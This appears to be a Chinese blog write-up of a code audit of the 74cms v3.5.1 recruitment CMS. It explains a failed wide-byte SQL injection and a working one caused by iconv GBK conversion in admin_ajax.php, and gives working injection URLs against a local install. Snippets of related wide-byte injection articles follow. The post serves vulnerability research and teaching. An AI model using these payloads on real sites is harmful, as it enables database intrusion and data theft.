74cms_v3.5.1.20141128 后台宽字节注入漏洞(iconv引发)

0x01 前言

  最近开始在学习代码审计了,以前几次学习代码审计都因为不知道如何下手,和代码的复杂就放弃了,这一次算是真正的认真学习,同时seay所编写的《代码审计 企业级Web代码安全架构》让我这个初学者能够入门。思路特别棒。我审的第一个CMS是74cms_v3.5.1_20141128版本的,很早之前的了。H‘‘Homaebic师傅教会了我很多思路。抱拳了老铁。

0x02 假漏洞

   在翻看配置文件得知CMS编码使用的是GBK编码,如果过滤不严的话,就会可能产生宽字节注入漏洞。出现"问题"的地方在admin/admin_article.php 20行处,

 1 if($act == ‘newslist‘)
 2 {
 3     check_permissions($_SESSION[‘admin_purview‘],"article_show");
 4     require_once(QISHI_ROOT_PATH.‘include/page.class.php‘);
 5     $key=isset($_GET[‘key‘])?trim($_GET[‘key‘]):"";
 6     $key_type=isset($_GET[‘key_type‘])?intval($_GET[‘key_type‘]):"";
 7     $oederbysql=" order BY a.article_order DESC,a.id DESC";
 8     if ($key && $key_type>0)
 9     {
10
11         if     ($key_type===1)$wheresql=" WHERE a.title like ‘%{$key}%‘";
12         elseif ($key_type===2)$wheresql=" WHERE a.id =".intval($key);
13     }
14     !empty($_GET[‘parentid‘])? $wheresqlarr[‘a.parentid‘]=intval($_GET[‘parentid‘]):‘‘;
15     !empty($_GET[‘type_id‘])? $wheresqlarr[‘a.type_id‘]=intval($_GET[‘type_id‘]):‘‘;
16     !empty($_GET[‘focos‘])?$wheresqlarr[‘a.focos‘]=intval($_GET[‘focos‘]):‘‘;
17     if (!empty($wheresqlarr)) $wheresql=wheresql($wheresqlarr);
18     if (!empty($_GET[‘settr‘]))
19     {
20         $settr=strtotime("-".intval($_GET[‘settr‘])." day");
21         $wheresql=empty($wheresql)?" WHERE a.addtime> ".$settr:$wheresql." AND a.addtime> ".$settr;
22         $oederbysql=" order BY a.addtime DESC";
23     }
24
25     $joinsql=" LEFT JOIN ".table(‘article_category‘)." AS c ON a.type_id=c.id  LEFT JOIN ".table(‘article_property‘)." AS p ON a.focos=p.id ";
26     $total_sql="SELECT COUNT(*) AS num FROM ".table(‘article‘)." AS a ".$joinsql.$wheresql;
27     echo $total_sql;
28     $page = new page(array(‘total‘=>$db->get_total($total_sql), ‘perpage‘=>$perpage));

当key_type=1的时候,没有对key进行intval处理。这个CMS是在入口对参数进行过滤,用了addslashes(),我想的是存在宽字节注入漏洞,利用

http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_article.php?act=newslist&key_type=1&key=%df‘ union select if(1=1,sleep(5),1)%23

结果发现利用不成功,最后用mysql监控软件发现

character_set_client=binary 是将所有的数据以二进制来传输,就不存在宽字节注入问题了 参考p师傅的文章浅析白盒审计中的字符编码及SQL注入

发现了一个假漏洞,非常尴尬,但是对宽字节注入有了深入的了解。

0x03 真漏洞

  在看p牛的文章时,iconv()函数在转换时的编码问题会导致注入,于是我用seay源码审计软件搜索iconv函数,发现了这么一个地方  出现问题的代码在admin/admin_ajax.php 79行处

 1 elseif($act == ‘get_jobs‘)
 2 {
 3     $type=trim($_GET[‘type‘]);
 4     $key=trim($_GET[‘key‘]);
 5     if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
 6     {
 7     $key=iconv("utf-8",QISHI_DBCHARSET,$key);
 8     }
 9     if ($type=="get_id")
10     {
11         $id=intval($key);
12         $sql = "select * from ".table(‘jobs‘)." where id=‘{$id}‘  LIMIT 1";
13     }
14     elseif ($type=="get_jobname")
15     {
16         $sql = "select * from ".table(‘jobs‘)." where jobs_name like ‘%{$key}%‘  LIMIT 30";
17 //        echo $sql;
18     }
19     elseif ($type=="get_comname")
20     {
21         $sql = "select * from ".table(‘jobs‘)." where companyname like ‘%{$key}%‘  LIMIT 30";
22     }
23     elseif ($type=="get_uid")
24     {
25         $uid=intval($key);
26         $sql = "select * from ".table(‘jobs‘)." where uid=‘{$uid}‘  LIMIT 30";
27 //        echo $sql;
28     }
29     else
30     {
31     exit();
32     }
33         $result = $db->query($sql);

  iconv函数将$_GET方式接受的key由utf-8编码转为GBK编码  p牛的文章讲到 “錦“这个字,它的utf-8编码是0xe98ca6,它的gbk编码是0xe55c\的ascii码正是5c。那么,当我们的錦被iconv从utf-8转换成gbk后,变成了%e5%5c,而后面的被addslashes变成了%5c%27,这样组合起来就是%e5%5c%5c%27,两个%5c就是\,正好把反斜杠转义了,导致’逃逸出单引号,产生注入。

Payload:

http://127.0.0.1/74cms_v3.5.1.20141128/upload/admin/admin_ajax.php?act=get_jobs&type=get_jobname&key=錦‘ union select user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57%23

注入成功。

时间: 2024-10-10 13:14:29

74cms_v3.5.1.20141128 后台宽字节注入漏洞(iconv引发)的相关文章

深入探究宽字节注入漏洞与修补原理

 0.前言 最近要为了自动化审计搜集所有PHP漏洞,在整理注入的时候,发现宽字节注入中使用iconv造成的漏洞原理没有真正搞懂,网上的文章也说得不是很清楚,于是看了荣哥(lxsec)以前发的一篇http://www.91ri.org/8611.html,加上我们两个人的讨论,最终有了这一篇深入的研究成果. 1.概述 主要是由于使用了宽字节编码造成的. 什么是字符集? 计算机显示的字符图形与保存该字符时的二进制编码的映射关系. 如ASCII中,A(图形)对应编码01000001(65). 对于

那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原理如下:1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ' 就会被转义为: \':2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多

MYSQL注入天书之宽字节注入

Background-7 宽字节注入 Less-32,33,34,35,36,37六关全部是针对'和\的过滤,所以我们放在一起来进行讨论. 对宽字节注入的同学应该对这几关的bypass方式应该比较了解.我们在此介绍一下宽字节注入的原理和基本用法. 原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围).我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \' (转换的函数或者思路会在每一关遇到的时候介绍)

宽字节注入详解

前言 在mysql中,用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性. 首先,宽字节注入与HTML页面编码是无关的,笔者曾经看到 <meta charset=utf8> 就放弃了尝试,这是一个误区,SQL注入不是XSS.虽然他们中编码的成因相似,不过发生的地点不同. 很多网上的材料都说程序使用了宽字节来处理程序,却又不指出具体是指什么

Mysql宽字节注入(转)

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如gbk,作为自己默认的编码类型.也有一些cms为了考虑老用户,所以出了gbk和utf-8两个版本. 我们就以gbk字符编码为示范,拉开帷幕.gbk是一种多字符编码,具体定义自行百度.但有一个地方尤其要注意: 通常来说,一个gbk编码汉字,占用2个字节.一个utf-8编码的汉字,占用3个字节.在php中

浅谈对宽字节注入的认识

宽字节注入之前看到过,但是没有实战过,后面也没有找到合适的测试环境,今天刚好看到一个关于宽字节注入的ctf题,因此借此来学习下宽字节注入,如果写得不好的地方,烦请各位多多指导,谢谢!本文主要是简单介绍下宽字节注入,以及如何通过手工和工具进行宽字节注入的一个利用,通过本文我主要学习到以下三点: 1.扩展了我对SQL注入进行探测的一个思路! 2.学习了如何使用宽字节探测注入! 3.如何使用sqlmap自动化对宽字节进行注入! 0x01   宽字节注入 这里的宽字节注入是利用mysql的一个特性,my

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原理如下:1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \’:2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多

【sqli-labs】 less32 GET- Bypass custom filter adding slashes to dangrous chars (GET型转义了&#39;/&quot;字符的宽字节注入)

转义函数,针对以下字符,这样就无法闭合引号,导致无法注入 ' --> \' " --> \" \ --> \\ 但是,当MySQL的客户端字符集为gbk时,就可能发生宽字节注入,参照 http://netsecurity.51cto.com/art/201404/435074.htm %df' --> %df\' %df%5c' 这样引号就被闭合了,至于%df%5c就成了汉字 運 成功闭合 http://192.168.136.128/sqli-labs-mas

1.5 宽字节注入

[转载]sql宽字节注入详解 尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如gbk,作为自己默认的编码类型.也有一些cms为了考虑老用户,所以出了gbk和utf-8两个版本. 我们就以gbk字符编码为示范,拉开帷幕.gbk是一种多字符编码,具体定义自行百度.但有一个地方尤其要注意: 通常来说,一个gbk编码汉字,占用2个字节.一个utf-8编码的